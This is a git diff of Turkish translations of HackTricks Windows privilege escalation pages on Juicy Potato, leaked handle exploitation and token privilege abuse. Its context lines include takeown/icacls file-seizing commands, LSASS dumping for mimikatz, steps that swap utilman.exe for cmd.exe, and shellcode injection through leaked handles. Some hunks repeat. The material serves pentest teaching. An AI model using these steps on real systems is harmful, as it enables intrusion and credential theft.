C:\Windows\System32\cmd-low.exe C:\Windows\System32\cmd-low.exe NT AUTHORITY\SYSTEM:(I)(F) @@ -76,15 +76,15 @@ APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APP PACKAGES:(I)(RX) Mandatory Label\Low Mandatory Level:(NW) ``` -Şimdi, `cmd-low.exe` çalıştırdığımda, **orta bir seviyede değil, düşük bir bütünlük seviyesinde çalışacak**: +Şimdi, `cmd-low.exe` çalıştırdığımda, **orta yerine düşük bir bütünlük seviyesi altında çalışacak**: ![](<../../images/image (313).png>) -Meraklılar için, bir ikili dosyaya yüksek bütünlük seviyesi atarsanız (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`), otomatik olarak yüksek bütünlük seviyesinde çalışmayacaktır (orta bütünlük seviyesinden çağırırsanız --varsayılan olarak-- orta bütünlük seviyesinde çalışacaktır). +Meraklılar için, bir ikili dosyaya yüksek bütünlük seviyesi atarsanız (`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`), otomatik olarak yüksek bütünlük seviyesi ile çalışmayacaktır (orta bütünlük seviyesinden çağırırsanız --varsayılan olarak-- orta bütünlük seviyesi altında çalışacaktır). ### Süreçlerde Bütünlük Seviyeleri -Tüm dosya ve klasörlerin minimum bir bütünlük seviyesi yoktur, **ancak tüm süreçler bir bütünlük seviyesinde çalışmaktadır**. Ve dosya sistemiyle olan benzer bir şekilde, **bir süreç başka bir süreç içinde yazmak istiyorsa en az aynı bütünlük seviyesine sahip olmalıdır**. Bu, düşük bütünlük seviyesine sahip bir sürecin, orta bütünlük seviyesine sahip bir sürece tam erişimle bir tanıtıcı açamayacağı anlamına gelir. +Tüm dosya ve klasörlerin minimum bir bütünlük seviyesi yoktur, **ancak tüm süreçler bir bütünlük seviyesi altında çalışmaktadır**. Ve dosya sistemiyle olan benzer bir şekilde, **bir süreç başka bir süreç içinde yazmak istiyorsa en az aynı bütünlük seviyesine sahip olmalıdır**. Bu, düşük bütünlük seviyesine sahip bir sürecin, orta bütünlük seviyesine sahip bir sürece tam erişim ile bir tanıtıcı açamayacağı anlamına gelir. Bu ve önceki bölümde belirtilen kısıtlamalar nedeniyle, güvenlik açısından, her zaman **bir süreci mümkün olan en düşük bütünlük seviyesinde çalıştırmak önerilir**. diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index e778f7bcc..bb82b0824 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -11,7 +11,7 @@ roguepotato-and-printspoofer.md ## Juicy Potato (altın ayrıcalıkları kötüye kullanma) -_Biraz şekerli versiyonu_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, yani **Windows Servis Hesaplarından NT AUTHORITY\SYSTEM'e başka bir Yerel Ayrıcalık Yükseltme aracı**_ +_Biraz şekerlenmiş_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, yani **Windows Servis Hesaplarından NT AUTHORITY\SYSTEM'e başka bir Yerel Ayrıcalık Yükseltme aracı**_ #### Juicypotato'yu [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) adresinden indirebilirsiniz. @@ -19,7 +19,7 @@ _Biraz şekerli versiyonu_ [_RottenPotatoNG_](https://github.com/breenmachine/Ro [**Juicy-potato Readme'den**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) ve onun [varyantları](https://github.com/decoder-it/lonelypotato), [`BITS`]() [servisi](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) temelinde ayrıcalık yükseltme zincirini kullanır ve `127.0.0.1:6666` üzerinde MiTM dinleyicisi vardır ve `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıklarına sahip olduğunuzda çalışır. Bir Windows build incelemesi sırasında, `BITS`'in kasıtlı olarak devre dışı bırakıldığı ve `6666` portunun alındığı bir kurulum bulduk. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) ve onun [varyantları](https://github.com/decoder-it/lonelypotato), [`BITS`]() [servisi](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) üzerinden ayrıcalık yükseltme zincirini kullanır ve `127.0.0.1:6666` üzerinde MiTM dinleyicisi vardır ve `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıklarına sahip olduğunuzda çalışır. Bir Windows build incelemesi sırasında, `BITS`'in kasıtlı olarak devre dışı bırakıldığı ve `6666` portunun alındığı bir kurulum bulduk. [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)'yi silahlandırmaya karar verdik: **Juicy Potato'ya merhaba deyin.** @@ -27,9 +27,9 @@ _Biraz şekerli versiyonu_ [_RottenPotatoNG_](https://github.com/breenmachine/Ro `BITS` dışında, kötüye kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bunların sadece: -1. mevcut kullanıcı tarafından örneklendirilebilir olması, genellikle taklit ayrıcalıklarına sahip bir "servis kullanıcısı" +1. mevcut kullanıcı tarafından örneklendirilebilir olması, genellikle taklit ayrıcalıklarına sahip bir “servis kullanıcısı” 2. `IMarshal` arayüzünü uygulaması -3. yükseltilmiş bir kullanıcı (SYSTEM, Yönetici, ...) olarak çalışması gerekir. +3. yükseltilmiş bir kullanıcı (SYSTEM, Yönetici, …) olarak çalışması gerekir. Biraz test yaptıktan sonra, birkaç Windows sürümünde [ilginç CLSID'lerin](http://ohpe.it/juicy-potato/CLSID/) kapsamlı bir listesini elde ettik ve test ettik. @@ -116,7 +116,7 @@ c:\Users\Public> [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) dosyasını indirin ve PS oturumunuza yükleyin, ardından [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) dosyasını indirin ve çalıştırın. Bu script, test edilecek olası CLSID'lerin bir listesini oluşturacaktır. -Sonra [test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) dosyasını indirin (CLSID listesi ve juicypotato çalıştırılabilir dosyasının yolunu değiştirin) ve çalıştırın. Her CLSID'yi denemeye başlayacaktır ve **port numarası değiştiğinde, bu CLSID'nin çalıştığı anlamına gelecektir**. +Sonra [test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) dosyasını indirin (CLSID listesi ve juicypotato çalıştırılabilir dosyası için yolu değiştirin) ve çalıştırın. Her CLSID'yi denemeye başlayacaktır ve **port numarası değiştiğinde, bu CLSID'nin çalıştığı anlamına gelecektir**. **-c parametresini kullanarak** çalışan CLSID'leri **kontrol edin** diff --git a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md index b540a73fc..0ef2319ca 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md +++ b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md @@ -10,14 +10,14 @@ Bir süreçteki handle'lar, farklı **Windows kaynaklarına** **erişim** sağla Zaten, **açık ve miras alınabilir handle'lara** sahip bir **ayrılmış süreç** tarafından **çalıştırılan** bir **ayrılmış süreç** ile birkaç **yetki yükseltme** vakası olmuştur. -Örneğin, **SYSTEM olarak çalışan bir süreç yeni bir süreç açtığında** (`OpenProcess()`) **tam erişim** ile. Aynı süreç **ana sürecin tüm açık handle'larını miras alan** **düşük ayrıcalıklı bir süreç** de **oluşturur** (`CreateProcess()`).\ -Sonrasında, eğer **düşük ayrıcalıklı sürece tam erişiminiz varsa**, `OpenProcess()` ile oluşturulan **ayrılmış sürecin açık handle'ını** alabilir ve **bir shellcode enjekte edebilirsiniz**. +Örneğin, **SYSTEM olarak çalışan bir süreç yeni bir süreç açtığında** (`OpenProcess()`) **tam erişim** ile. Aynı süreç **düşük ayrıcalıklara sahip yeni bir süreç** (`CreateProcess()`) **oluşturduğunda, ana sürecin tüm açık handle'larını miras alır**.\ +Sonrasında, eğer **düşük ayrıcalıklı sürece tam erişiminiz varsa**, `OpenProcess()` ile oluşturulan **ayrılmış sürecin açık handle'ını alabilir** ve **bir shellcode enjekte edebilirsiniz**. ## **İlginç Handle'lar** ### **Süreç** -Başlangıç örneğinde okuduğunuz gibi, eğer bir **düşük ayrıcalıklı süreç, yeterli izinlere sahip bir ayrıcalıklı sürecin handle'ını miras alırsa**, üzerinde **rastgele kod çalıştırabilir**. +Başlangıç örneğinde okuduğunuz gibi, eğer bir **düşük ayrıcalıklı süreç, yeterli izinlere sahip bir **ayrılmış sürecin handle'ını miras alırsa**, üzerinde **rastgele kod çalıştırabilir**. [**bu mükemmel makalede**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) aşağıdaki izinlere sahip herhangi bir süreç handle'ını nasıl istismar edeceğinizi görebilirsiniz: @@ -29,7 +29,7 @@ Başlangıç örneğinde okuduğunuz gibi, eğer bir **düşük ayrıcalıklı s ### Thread -Süreç handle'larına benzer şekilde, eğer bir **düşük ayrıcalıklı süreç, yeterli izinlere sahip bir ayrıcalıklı sürecin thread handle'ını miras alırsa**, üzerinde **rastgele kod çalıştırabilir**. +Süreç handle'larına benzer şekilde, eğer bir **düşük ayrıcalıklı süreç, yeterli izinlere sahip bir **ayrılmış sürecin thread handle'ını miras alırsa**, üzerinde **rastgele kod çalıştırabilir**. [**bu mükemmel makalede**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) ayrıca aşağıdaki izinlere sahip herhangi bir süreç handle'ını nasıl istismar edeceğinizi görebilirsiniz: @@ -37,17 +37,17 @@ Süreç handle'larına benzer şekilde, eğer bir **düşük ayrıcalıklı sür - THREAD_DIRECT_IMPERSONATION - THREAD_SET_CONTEXT -### Dosya, Anahtar & Bölüm Handle'ları +### Dosya, Anahtar ve Bölüm Handle'ları -Eğer bir **düşük ayrıcalıklı süreç,** bir **ayrılmış dosya veya kayıt** üzerinde **yazma** eşdeğer **izinlere sahip bir handle'ı miras alırsa**, dosyayı/kayıtları **üstüne yazabilir** (ve bolca **şansla**, **yetki yükseltebilir**). +Eğer bir **düşük ayrıcalıklı süreç,** bir **ayrılmış dosya veya kayıt** üzerinde **yazma** eşdeğer **izinlere sahip bir handle'ı miras alırsa**, dosyayı/kayıt defterini **üstüne yazabilir** (ve bolca **şansla**, **yetki yükseltebilir**). -**Bölüm Handle'ları**, dosya handle'larına benzer, bu tür [nesnelerin yaygın adı **"Dosya Haritalama"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping)dır. **Büyük dosyalarla** çalışmak için **tüm** dosyayı bellekte tutmadan kullanılmaktadır. Bu, istismar sürecini "benzer" hale getirir. +**Bölüm Handle'ları**, dosya handle'larına benzer, bu tür [nesnelerin yaygın adı **"Dosya Haritalama"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping)dır. **Büyük dosyalarla** çalışmak için **tüm dosyayı** bellekte tutmadan kullanılmaktadır. Bu, istismar sürecini "benzer" hale getirir. ## Süreçlerin Handle'larını Görme ### Process Hacker -[**Process Hacker**](https://github.com/processhacker/processhacker), ücretsiz olarak indirebileceğiniz bir araçtır. Süreçleri incelemek için birkaç harika seçeneği vardır ve bunlardan biri **her sürecin handle'larını görme yeteneğidir**. +[**Process Hacker**](https://github.com/processhacker/processhacker), ücretsiz olarak indirebileceğiniz bir araçtır. Süreçleri incelemek için birkaç harika seçeneğe sahiptir ve bunlardan biri **her sürecin handle'larını görme yeteneğidir**. Tüm süreçlerin tüm handle'larını **görmek için SeDebugPrivilege gereklidir** (bu nedenle Process Hacker'ı yönetici olarak çalıştırmalısınız). @@ -55,7 +55,7 @@ Bir sürecin handle'larını görmek için, süreç üzerine sağ tıklayın ve ![](<../../images/image (616).png>) -Sonra handle üzerine sağ tıklayıp **izinleri kontrol edebilirsiniz**: +Sonrasında handle üzerine sağ tıklayarak **izinleri kontrol edebilirsiniz**: ![](<../../images/image (946).png>) @@ -296,7 +296,7 @@ return 0; > Gerçek bir senaryoda muhtemelen **çalıştırılacak ikiliyi kontrol edemeyeceksiniz** (bu durumda _C:\users\username\desktop\client.exe_). Muhtemelen bir **süreci tehlikeye atacaksınız ve ayrıcalıklı bir sürecin herhangi bir savunmasız handle'ına erişip erişemeyeceğinizi kontrol etmeniz gerekecek**. Bu örnekte _C:\users\username\desktop\client.exe_ için olası bir exploit kodunu bulabilirsiniz.\ -Bu kodun en ilginç kısmı `GetVulnProcHandle` içinde yer almaktadır. Bu fonksiyon **tüm handle'ları almaya başlayacak**, ardından **bunlardan herhangi birinin aynı PID'ye ait olup olmadığını kontrol edecek** ve eğer handle bir **süreç**'e aitse. Tüm bu gereksinimler yerine getirildiğinde (erişilebilir bir açık süreç handle'ı bulunduğunda), **handle'ı kötüye kullanarak bir shellcode enjekte etmeye ve çalıştırmaya** çalışır.\ +Bu kodun en ilginç kısmı `GetVulnProcHandle` içinde yer almaktadır. Bu fonksiyon **tüm handle'ları almaya başlayacak**, ardından **bunlardan herhangi birinin aynı PID'ye ait olup olmadığını kontrol edecek** ve eğer handle bir **süreç**'e aitse. Tüm bu gereksinimler yerine getirildiğinde (erişilebilir bir açık süreç handle'ı bulunduğunda), **sürecin handle'ını kötüye kullanarak shellcode'u enjekte etmeye ve çalıştırmaya** çalışır.\ Shellcode'un enjekte edilmesi **`Inject`** fonksiyonu içinde yapılır ve sadece **shellcode'u ayrıcalıklı süreç içinde yazar ve aynı süreç içinde shellcode'u çalıştırmak için bir thread oluşturur**. ```c #include @@ -507,7 +507,7 @@ return 0; Bu örnekte, **açık handle'ı kötüye kullanmak yerine** bir shellcode enjekte edip çalıştırmak, **açık ayrıcalıklı handle sürecinin token'ını kullanarak yeni bir tane oluşturmak için** kullanılacak. Bu, 138'den 148'e kadar olan satırlarda yapılmaktadır. -**`UpdateProcThreadAttribute`** fonksiyonunun **`PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` özelliği ve açık ayrıcalıklı sürecin handle'ı ile** kullanıldığına dikkat edin. Bu, **oluşturulan süreç thread'inin \_cmd.exe**\_\*\* çalıştırırken açık handle sürecinin token ayrıcalığına sahip olacağı anlamına gelir\*\*. +**`UpdateProcThreadAttribute`** fonksiyonunun **`PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` özelliği ve açık ayrıcalıklı sürecin handle'ı ile** nasıl kullanıldığına dikkat edin. Bu, **oluşturulan süreç thread'inin \_cmd.exe**\_\*\* çalıştırırken açık handle sürecinin aynı token ayrıcalığına sahip olacağı anlamına gelir\*\*. ```c #include #include diff --git a/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md b/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md index 1e337d452..dc8f2bb11 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md +++ b/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md @@ -17,6 +17,6 @@ Ve bu, yapılandırmanın en önemli kısmıdır: (Lütfen, kendi ikili dosyanızı paketlemeye çalışırsanız bu değerleri değiştirebileceğinizi unutmayın) -Buradan sadece **sonraki butonlara** tıklayın ve son **oluştur butonuna** basın, kurulumcunuz/sarmalayıcınız oluşturulacaktır. +Buradan sadece **sonraki butonlara** tıklayın ve son **oluştur butonu** ile yükleyiciniz/sarmalayıcınız oluşturulacaktır. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md index ba2522585..b45e2455e 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md @@ -36,7 +36,7 @@ Bu tokenı etkinleştirdiyseniz, **KERB_S4U_LOGON** kullanarak herhangi bir kull ### SeBackupPrivilege -Bu ayrıcalık, herhangi bir dosyaya (okuma işlemleriyle sınırlı) **tüm okuma erişim kontrolünü** vermek için sistemin neden olduğu bir ayrıcalıktır. Yerel Yönetici hesaplarının şifre karma değerlerini kayıt defterinden okumak için kullanılır, ardından "**psexec**" veya "**wmiexec**" gibi araçlar hash ile kullanılabilir (Pass-the-Hash tekniği). Ancak, bu teknik iki koşul altında başarısız olur: Yerel Yönetici hesabı devre dışı bırakıldığında veya uzaktan bağlanan Yerel Yöneticilerden yönetim haklarını kaldıran bir politika uygulandığında.\ +Bu ayrıcalık, herhangi bir dosyaya (okuma işlemleriyle sınırlı) **tüm okuma erişim kontrolünü** vermek için sistemin neden olduğu bir ayrıcalıktır. Yerel Yönetici hesaplarının şifre karma değerlerini kayıt defterinden **okumak** için kullanılır, ardından "**psexec**" veya "**wmiexec**" gibi araçlar hash ile kullanılabilir (Pass-the-Hash tekniği). Ancak, bu teknik iki koşul altında başarısız olur: Yerel Yönetici hesabı devre dışı bırakıldığında veya uzaktan bağlanan Yerel Yöneticilerden yönetim haklarını kaldıran bir politika uygulandığında.\ Bu ayrıcalığı **kötüye kullanabilirsiniz**: - [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1) @@ -50,11 +50,11 @@ Bu ayrıcalığı **kötüye kullanabilirsiniz**: ### SeRestorePrivilege -Herhangi bir sistem dosyasına yazma erişimi için, dosyanın Erişim Kontrol Listesi (ACL) ne olursa olsun, bu ayrıcalık tarafından izin verilir. Hizmetleri **değiştirme**, DLL Hijacking yapma ve çeşitli diğer teknikler arasında Görüntü Dosyası Yürütme Seçenekleri aracılığıyla **hata ayıklayıcılar** ayarlama gibi birçok yükseltme olanağı sunar. +Herhangi bir sistem dosyasına yazma erişimi için izin sağlayan bu ayrıcalık, dosyanın Erişim Kontrol Listesi (ACL) ne olursa olsun geçerlidir. Hizmetleri **değiştirme**, DLL Hijacking yapma ve çeşitli diğer teknikler arasında **hata ayıklayıcılar** ayarlama gibi birçok yükseltme olanağı sunar. ### SeCreateTokenPrivilege -SeCreateTokenPrivilege, özellikle bir kullanıcının tokenları taklit etme yeteneğine sahip olduğunda güçlü bir izindir, ancak SeImpersonatePrivilege yoksa da kullanışlıdır. Bu yetenek, aynı kullanıcıyı temsil eden ve bütünlük seviyesi mevcut sürecin seviyesini aşmayan bir tokenı taklit etme yeteneğine dayanır. +SeCreateTokenPrivilege, özellikle bir kullanıcının tokenları taklit etme yeteneğine sahip olduğunda güçlü bir izindir, ancak SeImpersonatePrivilege yoksa da faydalıdır. Bu yetenek, aynı kullanıcıyı temsil eden ve bütünlük seviyesi mevcut sürecin seviyesini aşmayan bir tokenı taklit etme yeteneğine dayanır. **Ana Noktalar:** @@ -64,7 +64,7 @@ SeCreateTokenPrivilege, özellikle bir kullanıcının tokenları taklit etme ye ### SeLoadDriverPrivilege -Bu ayrıcalık, `ImagePath` ve `Type` için belirli değerlerle bir kayıt defteri girişi oluşturarak **cihaz sürücülerini yükleme ve boşaltma** izni verir. `HKLM` (HKEY_LOCAL_MACHINE) üzerinde doğrudan yazma erişimi kısıtlandığından, bunun yerine `HKCU` (HKEY_CURRENT_USER) kullanılmalıdır. Ancak, `HKCU`'nun sürücü yapılandırması için çekirdek tarafından tanınabilmesi için belirli bir yol izlenmelidir. +Bu ayrıcalık, `ImagePath` ve `Type` için belirli değerlerle bir kayıt defteri girişi oluşturarak **cihaz sürücülerini yükleme ve boşaltma** izni verir. `HKLM` (HKEY_LOCAL_MACHINE) üzerinde doğrudan yazma erişimi kısıtlandığı için, bunun yerine `HKCU` (HKEY_CURRENT_USER) kullanılmalıdır. Ancak, `HKCU`'nun sürücü yapılandırması için çekirdek tarafından tanınabilmesi için belirli bir yol izlenmelidir. Bu yol `\Registry\User\\System\CurrentControlSet\Services\DriverName` şeklindedir, burada `` mevcut kullanıcının Göreceli Tanımlayıcısıdır. `HKCU` içinde, bu tüm yol oluşturulmalı ve iki değer ayarlanmalıdır: @@ -92,7 +92,7 @@ Daha fazla bu ayrıcalığı kötüye kullanma yolu için [https://www.ired.team ### SeTakeOwnershipPrivilege -Bu, **SeRestorePrivilege** ile benzerdir. Ana işlevi, bir sürecin **bir nesnenin mülkiyetini üstlenmesine** izin vermek olup, bu da WRITE_OWNER erişim hakları sağlanarak açık takdir erişimi gereksinimini aşar. Süreç, önce yazma amacıyla hedef kayıt defteri anahtarının mülkiyetini güvence altına almayı, ardından yazma işlemlerini etkinleştirmek için DACL'yi değiştirmeyi içerir. +Bu, **SeRestorePrivilege** ile benzerdir. Temel işlevi, bir sürecin **bir nesnenin mülkiyetini üstlenmesine** izin vermek olup, bu da WRITE_OWNER erişim hakları sağlanarak açık takdir erişimi gereksinimini aşar. Süreç, önce yazma amacıyla hedef kayıt defteri anahtarının mülkiyetini güvence altına almayı, ardından yazma işlemlerini etkinleştirmek için DACL'yi değiştirmeyi içerir. ```bash takeown /f 'C:\some\file.txt' #Now the file is owned by you icacls 'C:\some\file.txt' /grant :F #Now you have full access @@ -110,11 +110,11 @@ c:\inetpub\wwwwroot\web.config ``` ### SeDebugPrivilege -Bu ayrıcalık, **diğer süreçleri hata ayıklamayı** sağlar, buna bellek içinde okuma ve yazma da dahildir. Çoğu antivirüs ve host saldırı önleme çözümlerini atlatabilen çeşitli bellek enjeksiyon stratejileri, bu ayrıcalıkla kullanılabilir. +Bu ayrıcalık, **diğer süreçleri hata ayıklamayı** sağlar, buna bellek içinde okuma ve yazma da dahildir. Çoğu antivirüs ve host saldırı önleme çözümünü atlatabilen çeşitli bellek enjeksiyon stratejileri, bu ayrıcalıkla kullanılabilir. #### Belleği dökme -Bir sürecin **belleğini yakalamak için** [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) aracını [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) içinden kullanabilirsiniz. Özellikle, bir kullanıcının bir sisteme başarıyla giriş yaptıktan sonra kullanıcı kimlik bilgilerini saklamaktan sorumlu olan **Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)** sürecine uygulanabilir. +Bir sürecin **belleğini yakalamak** için [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) aracını [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) üzerinden kullanabilirsiniz. Özellikle, bir kullanıcının bir sisteme başarıyla giriş yaptıktan sonra kullanıcı kimlik bilgilerini depolamakla sorumlu olan **Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti (**[**LSASS**](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service)**)** sürecine uygulanabilir. Bu dökümü daha sonra şifreleri elde etmek için mimikatz'a yükleyebilirsiniz: ``` @@ -138,7 +138,7 @@ import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,\System\CurrentControlSet\Services\DriverName` şeklindedir, burada `` mevcut kullanıcının Göreli Tanımlayıcısıdır. `HKCU` içinde, bu tüm yol oluşturulmalı ve iki değer ayarlanmalıdır: -- `ImagePath`, yürütülecek ikili dosyanın yolu -- `Type`, değeri `SERVICE_KERNEL_DRIVER` (`0x00000001`) olan. +- `ImagePath`, yürütülecek ikilinin yolu +- `Type`, değeri `SERVICE_KERNEL_DRIVER` (`0x00000001`) olarak. **İzlenecek Adımlar:** @@ -92,7 +92,7 @@ Daha fazla bu ayrıcalığı kötüye kullanma yolu için [https://www.ired.team ### SeTakeOwnershipPrivilege -Bu, **SeRestorePrivilege** ile benzerdir. Temel işlevi, bir sürecin **bir nesnenin mülkiyetini üstlenmesine** izin vermek olup, bu da WRITE_OWNER erişim hakları sağlanarak açık takdir erişimi gereksinimini aşar. Süreç, önce yazma amacıyla hedef kayıt defteri anahtarının mülkiyetini güvence altına almayı, ardından yazma işlemlerini etkinleştirmek için DACL'yi değiştirmeyi içerir. +Bu, **SeRestorePrivilege** ile benzerdir. Temel işlevi, bir sürecin **bir nesnenin mülkiyetini üstlenmesine** izin vermek olup, WRITE_OWNER erişim hakları sağlanarak açık takdir erişimi gereksinimini aşar. Süreç, önce yazma amacıyla hedef kayıt defteri anahtarının mülkiyetini güvence altına almayı, ardından yazma işlemlerini etkinleştirmek için DACL'yi değiştirmeyi içerir. ```bash takeown /f 'C:\some\file.txt' #Now the file is owned by you icacls 'C:\some\file.txt' /grant :F #Now you have full access @@ -110,7 +110,7 @@ c:\inetpub\wwwwroot\web.config ``` ### SeDebugPrivilege -Bu ayrıcalık, **diğer süreçleri hata ayıklamayı** sağlar, buna bellek içinde okuma ve yazma da dahildir. Çoğu antivirüs ve host saldırı önleme çözümlerini atlatabilen çeşitli bellek enjeksiyon stratejileri, bu ayrıcalıkla kullanılabilir. +Bu ayrıcalık, **diğer süreçleri hata ayıklamayı** sağlar, buna bellek içinde okuma ve yazma da dahildir. Çoğu antivirüs ve host saldırı önleme çözümünü atlatabilen çeşitli bellek enjeksiyon stratejileri, bu ayrıcalıkla kullanılabilir. #### Belleği dökme @@ -136,9 +136,9 @@ import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,- %WINDIR%\MEMORY.DMP dosyasını okuyabiliyorsanız daha ilginç olabilir.

- SeBackupPrivilege (ve robocopy) açık dosyalarla çalışırken yardımcı değildir.

- Robocopy, /b parametresi ile çalışmak için hem SeBackup hem de SeRestore gerektirir.

| +| **`SeBackup`** | **Threat** | _**Built-in commands**_ | Hassas dosyaları `robocopy /b` ile okuyun |

- %WINDIR%\MEMORY.DMP dosyasını okuyabiliyorsanız daha ilginç olabilir.

- SeBackupPrivilege (ve robocopy) açık dosyalarla çalışırken yardımcı değildir.

- Robocopy, /b parametresi ile çalışmak için hem SeBackup hem de SeRestore gerektirir.

| | **`SeCreateToken`** | _**Admin**_ | 3rd party tool | `NtCreateToken` ile yerel yönetici hakları da dahil olmak üzere keyfi bir token oluşturun. | | | **`SeDebug`** | _**Admin**_ | **PowerShell** | `lsass.exe` token'ını kopyalayın. | Script to be found at [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) | -| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. szkg64.sys gibi hatalı bir çekirdek sürücüsü yükleyin.
2. Sürücü açığını istismar edin.

Alternatif olarak, bu ayrıcalık güvenlikle ilgili sürücüleri ftlMC yerleşik komutuyla boşaltmak için kullanılabilir. Yani: fltMC sysmondrv

|

1. szkg64 açığı CVE-2018-15732 olarak listelenmiştir.
2. szkg64 istismar kodu Parvez Anwar tarafından oluşturulmuştur.

| +| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool |

1. szkg64.sys gibi hatalı bir çekirdek sürücüsü yükleyin.
2. Sürücü zafiyetini istismar edin.

Alternatif olarak, bu ayrıcalık güvenlikle ilgili sürücüleri ftlMC yerleşik komutuyla boşaltmak için kullanılabilir. Yani: fltMC sysmondrv

|

1. szkg64 zafiyeti CVE-2018-15732 olarak listelenmiştir.
2. szkg64 istismar kodu Parvez Anwar tarafından oluşturulmuştur.

| | **`SeRestore`** | _**Admin**_ | **PowerShell** |

1. SeRestore ayrıcalığı ile PowerShell/ISE başlatın.
2. Enable-SeRestorePrivilege ile ayrıcalığı etkinleştirin.
3. utilman.exe'yi utilman.old olarak yeniden adlandırın.
4. cmd.exe'yi utilman.exe olarak yeniden adlandırın.
5. Konsolu kilitleyin ve Win+U tuşlarına basın.

|

Saldırı bazı AV yazılımları tarafından tespit edilebilir.

Alternatif yöntem, aynı ayrıcalığı kullanarak "Program Files" içinde depolanan hizmet ikili dosyalarını değiştirmeye dayanır.

| | **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ |

1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. cmd.exe'yi utilman.exe olarak yeniden adlandırın.
4. Konsolu kilitleyin ve Win+U tuşlarına basın.

|

Saldırı bazı AV yazılımları tarafından tespit edilebilir.

Alternatif yöntem, aynı ayrıcalığı kullanarak "Program Files" içinde depolanan hizmet ikili dosyalarını değiştirmeye dayanır.

| | **`SeTcb`** | _**Admin**_ | 3rd party tool |

Token'ları yerel yönetici hakları ile manipüle edin. SeImpersonate gerektirebilir.

Doğrulanması gerekiyor.

| | diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md index b9409cbd8..4ec4c3db7 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md +++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md @@ -6,14 +6,14 @@ ## WMIC -**Wmic**, **başlangıçta** programları çalıştırmak için kullanılabilir. Başlangıçta çalışacak şekilde programlanmış olan ikili dosyaları görmek için: +**Wmic**, **başlangıç**ta programları çalıştırmak için kullanılabilir. Başlangıçta çalışacak şekilde programlanmış olan ikili dosyaları görmek için: ```bash wmic startup get caption,command 2>nul & ^ Get-CimInstance Win32_StartupCommand | select Name, command, Location, User 